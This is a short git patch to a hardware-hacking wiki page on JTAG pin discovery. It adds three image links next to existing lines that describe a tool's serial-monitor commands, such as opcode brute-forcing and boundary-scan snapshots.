b96ba34b520bf1e322eb51aad42da3f8df789ae6 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Mon, 18 Aug 2025 15:53:59 +0200 Subject: [PATCH 12/12] Update jtag.md --- src/todo/hardware-hacking/jtag.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index 58cbbee4f..16f5e0d8b 100644 --- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -21,6 +21,14 @@ Once flashed, open the serial monitor at 115200 baud and send `h` for help. Typi - `y` brute‑force IR to discover undocumented opcodes - `x` boundary‑scan snapshot of pin states +![](<../../images/image (939).png>) + +![](<../../images/image (578).png>) + +![](<../../images/image (774).png>) + + + If a valid TAP is found you will see lines starting with `FOUND!` indicating discovered pins. Tips